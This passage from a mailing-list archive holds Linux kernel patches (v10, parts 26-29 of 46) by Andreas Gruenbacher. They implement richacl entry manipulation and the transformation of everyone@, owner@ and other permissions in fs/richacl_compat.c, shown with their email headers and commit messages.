an acl + * @alloc: acl and number of allocated entries + * @ace: an entry in @alloc->acl + * + * Updates @ace so that it points to the entry before the deleted entry + * on return. (When deleting the first entry, @ace will point to the + * (non-existent) entry before the first entry). This behavior is the + * expected behavior when deleting entries while forward iterating over + * an acl. + */ +void +richacl_delete_entry(struct richacl_alloc *alloc, struct richace **ace) +{ + void *end = alloc->acl->a_entries + alloc->acl->a_count; + + memmove(*ace, *ace + 1, end - (void *)(*ace + 1)); + (*ace)--; + alloc->acl->a_count--; +} +EXPORT_SYMBOL_GPL(richacl_delete_entry); + +/** + * richacl_insert_entry - insert an entry in an acl + * @alloc: acl and number of allocated entries + * @ace: entry before which the new entry shall be inserted + * + * Insert a new entry in @alloc->acl at position @ace and zero-initialize + * it. This may require reallocating @alloc->acl. + */ +int +richacl_insert_entry(struct richacl_alloc *alloc, struct richace **ace) +{ + struct richacl *acl = alloc->acl; + unsigned int index = *ace - acl->a_entries; + size_t tail_size = (acl->a_count - index) * sizeof(struct richace); + + if (alloc->count == acl->a_count) { + size_t new_size = sizeof(struct richacl) + + (acl->a_count + 1) * sizeof(struct richace); + + acl = krealloc(acl, new_size, GFP_KERNEL); + if (!acl) + return -1; + *ace = acl->a_entries + index; + alloc->acl = acl; + alloc->count++; + } + + memmove(*ace + 1, *ace, tail_size); + memset(*ace, 0, sizeof(**ace)); + acl->a_count++; + return 0; +} +EXPORT_SYMBOL_GPL(richacl_insert_entry); + +/** + * richacl_append_entry - append an entry to an acl + * @alloc: acl and number of allocated entries + * + * This may require reallocating @alloc->acl. + */ +struct richace *richacl_append_entry(struct richacl_alloc *alloc) +{ + struct richacl *acl = alloc->acl; + struct richace *ace = acl->a_entries + acl->a_count; + + if (alloc->count > alloc->acl->a_count) { + acl->a_count++; + return ace; + } + return richacl_insert_entry(alloc, &ace) ? NULL : ace; +} +EXPORT_SYMBOL_GPL(richacl_append_entry); + +/** + * richace_change_mask - set the mask of @ace to @mask + * @alloc: acl and number of allocated entries + * @ace: entry to modify + * @mask: new mask for @ace + * + * If @ace is inheritable, a inherit-only ace is inserted before @ace which + * includes the inheritable permissions of @ace and the inheritance flags of + * @ace are cleared before changing the mask. + * + * If @mask is 0, the original ace is turned into an inherit-only entry if + * there are any inheritable permissions, and removed otherwise. + * + * The returned @ace points to the modified or inserted effective-only acl + * entry if that entry exists, to the entry that has become inheritable-only, + * or else to the previous entry in the acl. + */ +static int +richace_change_mask(struct richacl_alloc *alloc, struct richace **ace, + unsigned int mask) +{ + if (mask && (*ace)->e_mask == mask) + (*ace)->e_flags &= ~RICHACE_INHERIT_ONLY_ACE; + else if (mask & ~RICHACE_POSIX_ALWAYS_ALLOWED) { + if (richace_is_inheritable(*ace)) { + if (richacl_insert_entry(alloc, ace)) + return -1; + richace_copy(*ace, *ace + 1); + (*ace)->e_flags |= RICHACE_INHERIT_ONLY_ACE; + (*ace)++; + (*ace)->e_flags &= ~RICHACE_INHERITANCE_FLAGS | + RICHACE_INHERITED_ACE; + } + (*ace)->e_mask = mask; + } else { + if (richace_is_inheritable(*ace)) + (*ace)->e_flags |= RICHACE_INHERIT_ONLY_ACE; + else + richacl_delete_entry(alloc, ace); + } + return 0; +} diff --git a/include/linux/richacl_compat.h b/include/linux/richacl_compat.h new file mode 100644 index 0000000..a9ff630 --- /dev/null +++ b/include/linux/richacl_compat.h @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_COMPAT_H +#define __RICHACL_COMPAT_H + +#include + +/** + * struct richacl_alloc - remember how many entries are actually allocated + * @acl: acl with a_count <= @count + * @count: the actual number of entries allocated in @acl + * + * We pass around this structure while modifying an acl so that we do + * not have to reallocate when we remove existing entries followed by + * adding new entries. + */ +struct richacl_alloc { + struct richacl *acl; + unsigned int count; +}; + +struct richacl *richacl_prepare(struct richacl_alloc *, unsigned int); +struct richace *richacl_append_entry(struct richacl_alloc *); +int richacl_insert_entry(struct richacl_alloc *, struct richace **); +void richacl_delete_entry(struct richacl_alloc *, struct richace **); + +#endif /* __RICHACL_COMPAT_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 164F67F56 for ; Sun, 11 Oct 2015 18:02:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 998B4AC001 for ; Sun, 11 Oct 2015 16:02:13 -0700 (PDT) X-ASG-Debug-ID: 1444604531-04cbb05fc03d690001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6WLxhuo6cL2J3hjt (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:02:12 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 8F799C0C9A71; Sun, 11 Oct 2015 23:02:11 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36o016614; Sun, 11 Oct 2015 19:02:05 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 26/46] richacl: Move everyone@ aces down the acl Date: Mon, 12 Oct 2015 00:58:37 +0200 X-ASG-Orig-Subj: [PATCH v10 26/46] richacl: Move everyone@ aces down the acl Message-Id: <1444604337-17651-27-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604532 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher The POSIX standard puts processes which are not the owner or a member in the owning group or which match any ace other then everyone@ on the other file class. We only know if a process is in the other class after processing the entire acl. Move all everyone@ aces in the acl down in the acl so that at most a single everyone@ allow ace remains at the end. Permissions which are not explicitly allowed are implicitly denied, so an everyone@ deny ace is unneeded. The everyone@ aces can be moved down the acl without changing the permissions that the acl grants. This transformation simplifies the following algorithms, and eventually allows us to turn the final everyone@ allow ace into an entry for the other class. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 341e429..4f0acf5 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -153,3 +153,68 @@ richace_change_mask(struct richacl_alloc *alloc, struct richace **ace, } return 0; } + +/** + * richacl_move_everyone_aces_down - move everyone@ aces to the end of the acl + * @alloc: acl and number of allocated entries + * + * Move all everyone aces to the end of the acl so that only a single everyone@ + * allow ace remains at the end, and update the mask fields of all aces on the + * way. The last ace of the resulting acl will be an everyone@ allow ace only + * if @acl grants any permissions to @everyone. No @everyone deny aces will + * remain. + * + * This transformation does not alter the permissions that the acl grants. + * Having at most one everyone@ allow ace at the end of the acl helps us in the + * following algorithms. + */ +static int +richacl_move_everyone_aces_down(struct richacl_alloc *alloc) +{ + struct richace *ace; + unsigned int allowed = 0, denied = 0; + + richacl_for_each_entry(ace, alloc->acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + allowed |= (ace->e_mask & ~denied); + else if (richace_is_deny(ace)) + denied |= (ace->e_mask & ~allowed); + else + continue; + if (richace_change_mask(alloc, &ace, 0)) + return -1; + } else { + if (richace_is_allow(ace)) { + if (richace_change_mask(alloc, &ace, allowed | + (ace->e_mask & ~denied))) + return -1; + } else if (richace_is_deny(ace)) { + if (richace_change_mask(alloc, &ace, denied | + (ace->e_mask & ~allowed))) + return -1; + } + } + } + if (allowed & ~RICHACE_POSIX_ALWAYS_ALLOWED) { + struct richace *last_ace = ace - 1; + + if (alloc->acl->a_entries && + richace_is_everyone(last_ace) && + richace_is_allow(last_ace) && + richace_is_inherit_only(last_ace) && + last_ace->e_mask == allowed) + last_ace->e_flags &= ~RICHACE_INHERIT_ONLY_ACE; + else { + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = allowed; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + } + } + return 0; +} -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6B6CC7F56 for ; Sun, 11 Oct 2015 18:02:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E1289AC001 for ; Sun, 11 Oct 2015 16:02:20 -0700 (PDT) X-ASG-Debug-ID: 1444604538-04cbb05fbf3d6a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NqRH3LGdztUrZV8H (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:02:19 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id A53558CF55; Sun, 11 Oct 2015 23:02:18 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36p016614; Sun, 11 Oct 2015 19:02:12 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 27/46] richacl: Propagate everyone@ permissions to other aces Date: Mon, 12 Oct 2015 00:58:38 +0200 X-ASG-Orig-Subj: [PATCH v10 27/46] richacl: Propagate everyone@ permissions to other aces Message-Id: <1444604337-17651-28-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604539 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher The trailing everyone@ allow ace can grant permissions to all file classes including the owner and group class. Before we can apply the other mask to this entry to turn it into an "other class" entry, we need to ensure that members of the owner or group class will not lose any permissions from that ace. Conceptually, we do this by inserting additional :::allow entries before the trailing everyone@ allow ace with the same permissions as the trailing everyone@ allow ace for owner@, group@, and all explicitly mentioned users and groups. (In practice, we will rarely need to insert any additional aces in this step.) Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 198 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 198 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 4f0acf5..7d007d7 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -218,3 +218,201 @@ richacl_move_everyone_aces_down(struct richacl_alloc *alloc) } return 0; } + +/** + * __richacl_propagate_everyone - propagate everyone@ permissions up for @who + * @alloc: acl and number of allocated entries + * @who: identifier to propagate permissions for + * @allow: permissions to propagate up + * + * Propagate the permissions in @allow up from the end of the acl to the start + * for the specified principal @who. + * + * The simplest possible approach to achieve this would be to insert a + * ":::allow" ace before the final everyone@ allow ace. Since this + * would often result in aces which are not needed or which could be merged + * with an existing ace, we make the following optimizations: + * + * - We go through the acl and determine which permissions are already + * allowed or denied to @who, and we remove those permissions from + * @allow. + * + * - If the acl contains an allow ace for @who and no aces after this entry + * deny permissions in @allow, we add the permissions in @allow to this + * ace. (Propagating permissions across a deny ace which can match the + * process can elevate permissions.) + * + * This transformation does not alter the permissions that the acl grants. + */ +static int +__richacl_propagate_everyone(struct richacl_alloc *alloc, struct richace *who, + unsigned int allow) +{ + struct richace *allow_last = NULL, *ace; + struct richacl *acl = alloc->acl; + + /* + * Remove the permissions from allow that are already determined for + * this who value, and figure out if there is an allow entry for + * this who value that is "reachable" from the trailing everyone@ + * allow ace. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) { + if (richace_is_same_identifier(ace, who)) { + allow &= ~ace->e_mask; + allow_last = ace; + } + } else if (richace_is_deny(ace)) { + if (richace_is_same_identifier(ace, who)) + allow &= ~ace->e_mask; + else if (allow & ace->e_mask) + allow_last = NULL; + } + } + ace--; + + /* + * If for group class entries, all the remaining permissions will + * remain granted by the trailing everyone@ allow ace, no additional + * entry is needed. + */ + if (!richace_is_owner(who) && + richace_is_everyone(ace) && + !(allow & ~(ace->e_mask & acl->a_other_mask))) + allow = 0; + + if (allow) { + if (allow_last) + return richace_change_mask(alloc, &allow_last, + allow_last->e_mask | allow); + else { + struct richace who_copy; + + richace_copy(&who_copy, who); + if (richacl_insert_entry(alloc, &ace)) + return -1; + richace_copy(ace, &who_copy); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + ace->e_mask = allow; + } + } + return 0; +} + +/** + * richacl_propagate_everyone - propagate everyone@ permissions up the acl + * @alloc: acl and number of allocated entries + * + * Make sure that group@ and all other users and groups mentioned in the acl + * will not lose any permissions when finally applying the other mask to the + * everyone@ allow ace at the end of the acl. We modify the permissions of + * existing entries or add new entries before the final everyone@ allow ace to + * achieve that. + * + * For example, the following acl implicitly grants everyone rwpx access: + * + * joe:r::allow + * everyone@:rwpx::allow + * + * When applying mode 0660 to this acl, group@ would lose rwp access, and joe + * would lose wp access even though the mode does not exclude those + * permissions. After propagating the everyone@ permissions, the result for + * applying mode 0660 becomes: + * + * owner@:rwp::allow + * joe:rwp::allow + * group@:rwp::allow + * + * Deny aces complicate the matter. For example, the following acl grants + * everyone but joe write access: + * + * joe:wp::deny + * everyone@:rwpx::allow + * + * When applying mode 0660 to this acl, group@ would lose rwp access, and joe + * would lose r access. After propagating the everyone@ permissions, the + * result for applying mode 0660 becomes: + * + * owner@:rwp::allow + * joe:w::deny + * group@:rwp::allow + * joe:r::allow + */ +static int +richacl_propagate_everyone(struct richacl_alloc *alloc) +{ + struct richace who = { .e_flags = RICHACE_SPECIAL_WHO }; + struct richacl *acl = alloc->acl; + struct richace *ace; + unsigned int owner_allow, group_allow; + + if (!acl->a_count) + return 0; + ace = acl->a_entries + acl->a_count - 1; + if (richace_is_inherit_only(ace) || !richace_is_everyone(ace)) + return 0; + + /* + * Permissions the owner and group class are granted through the + * trailing everyone@ allow ace. + */ + owner_allow = ace->e_mask & acl->a_owner_mask; + group_allow = ace->e_mask & acl->a_group_mask; + + /* + * If the group or other masks hide permissions which the owner should + * be allowed, we need to propagate those permissions up. Otherwise, + * those permissions may be lost when applying the other mask to the + * trailing everyone@ allow ace, or when isolating the group class from + * the other class through additional deny aces. + */ + if (owner_allow & ~(acl->a_group_mask & acl->a_other_mask)) { + /* Propagate everyone@ permissions through to owner@. */ + who.e_id.special = RICHACE_OWNER_SPECIAL_ID; + if (__richacl_propagate_everyone(alloc, &who, owner_allow)) + return -1; + acl = alloc->acl; + } + + /* + * If the other mask hides permissions which the group class should be + * allowed, we need to propagate those permissions up to the owning + * group and to all other members in the group class. + */ + if (group_allow & ~acl->a_other_mask) { + int n; + + /* Propagate everyone@ permissions through to group@. */ + who.e_id.special = RICHACE_GROUP_SPECIAL_ID; + if (__richacl_propagate_everyone(alloc, &who, group_allow)) + return -1; + acl = alloc->acl; + + /* + * Start from the entry before the trailing everyone@ allow + * entry. We will not hit everyone@ entries in the loop. + */ + for (n = acl->a_count - 2; n != -1; n--) { + ace = acl->a_entries + n; + + if (richace_is_inherit_only(ace) || + richace_is_owner(ace) || + richace_is_group(ace)) + continue; + + /* + * Any inserted entry will end up below the current + * entry. + */ + if (__richacl_propagate_everyone(alloc, ace, + group_allow)) + return -1; + acl = alloc->acl; + } + } + return 0; +} -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3D73C7F56 for ; Sun, 11 Oct 2015 18:02:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B203AAC002 for ; Sun, 11 Oct 2015 16:02:27 -0700 (PDT) X-ASG-Debug-ID: 1444604545-04cb6c578aa7c50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UlwkJuw2eCmMralm (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:02:26 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 96984D0AA1; Sun, 11 Oct 2015 23:02:25 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36q016614; Sun, 11 Oct 2015 19:02:19 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 28/46] richacl: Set the owner permissions to the owner mask Date: Mon, 12 Oct 2015 00:58:39 +0200 X-ASG-Orig-Subj: [PATCH v10 28/46] richacl: Set the owner permissions to the owner mask Message-Id: <1444604337-17651-29-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604546 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher In the write-through case, change the acl so that owner@ is granted the permissions set in the owner mask (to match what the permission check algorithm grants the owner). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 7d007d7..16deeb4 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -416,3 +416,49 @@ richacl_propagate_everyone(struct richacl_alloc *alloc) } return 0; } + +/** + * richacl_set_owner_permissions - set the owner permissions to the owner mask + * + * In the write-through case, change the acl so that owner@ is granted the + * permissions set in the owner mask (to match what the permission check + * algorithm grants the owner). This leaves at most one efective owner@ allow + * entry at the beginning of the acl. + */ +static int +richacl_set_owner_permissions(struct richacl_alloc *alloc) +{ + unsigned int x = RICHACE_POSIX_ALWAYS_ALLOWED; + unsigned int owner_mask = alloc->acl->a_owner_mask & ~x; + unsigned int denied = 0; + struct richace *ace; + + if (!((alloc->acl->a_flags & RICHACL_WRITE_THROUGH))) + return 0; + + richacl_for_each_entry(ace, alloc->acl) { + if (richace_is_owner(ace)) { + if (richace_is_allow(ace) && !(owner_mask & denied)) { + richace_change_mask(alloc, &ace, owner_mask); + owner_mask = 0; + } else + richace_change_mask(alloc, &ace, 0); + } else { + if (richace_is_deny(ace)) + denied |= ace->e_mask; + } + } + + if (owner_mask & (denied | + ~alloc->acl->a_other_mask | + ~alloc->acl->a_group_mask)) { + ace = alloc->acl->a_entries; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = owner_mask; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + } + return 0; +} -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 20B357F56 for ; Sun, 11 Oct 2015 18:02:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 115ED304048 for ; Sun, 11 Oct 2015 16:02:34 -0700 (PDT) X-ASG-Debug-ID: 1444604552-04cb6c578ba7c60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Uak2xoWP54qf8wBg (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:02:33 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 76DC92653; Sun, 11 Oct 2015 23:02:32 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36r016614; Sun, 11 Oct 2015 19:02:26 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 29/46] richacl: Set the other permissions to the other mask Date: Mon, 12 Oct 2015 00:58:40 +0200 X-ASG-Orig-Subj: [PATCH v10 29/46] richacl: Set the other permissions to the other mask Message-Id: <1444604337-17651-30-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604553 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Change the acl so that everyone@ is granted the permissions set in the other mask. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 16deeb4..21ee31e 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -462,3 +462,44 @@ richacl_set_owner_permissions(struct richacl_alloc *alloc) } return 0; } + +/** + * richacl_set_other_permissions - set the other permissions to the other mask + * @alloc: acl and number of allocated entries + * @added: permissions added for everyone@ + * + * Change the acl so that everyone@ is granted the permissions set in the other + * mask. This leaves at most one efective everyone@ allow entry at the end of + * the acl. If everyone@ end up being granted additional permissions, these + * permissions are returned in @added. + */ +static int +richacl_set_other_permissions(struct richacl_alloc *alloc, unsigned int *added) +{ + struct richacl *acl = alloc->acl; + unsigned int x = RICHACE_POSIX_ALWAYS_ALLOWED; + unsigned int other_mask = acl->a_other_mask & ~x; + struct richace *ace; + + if (!(other_mask && + (acl->a_flags & RICHACL_WRITE_THROUGH))) + return 0; + + *added = other_mask; + ace = acl->a_entries + acl->a_count - 1; + if (acl->a_count == 0 || + !richace_is_everyone(ace) || + richace_is_inherit_only(ace)) { + ace++; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = other_mask; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + } else { + *added &= ~ace->e_mask; + richace_change_mask(alloc, &ace, other_mask); + } + return 0; +} -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:02:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 62A3E7F56 for ; Sun, 11 Oct 2015 18:02:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 358CA8F8049 for ; Sun, 11 Oct 2015 16:02:41 -0700 (PDT) X-ASG-Debug-ID: 1444604559-04bdf020daa1ba0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id j7GaNUxdAcmwEkZ6 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:02:39 -0700 (PDT) X-Barracuda-Envelope-From: 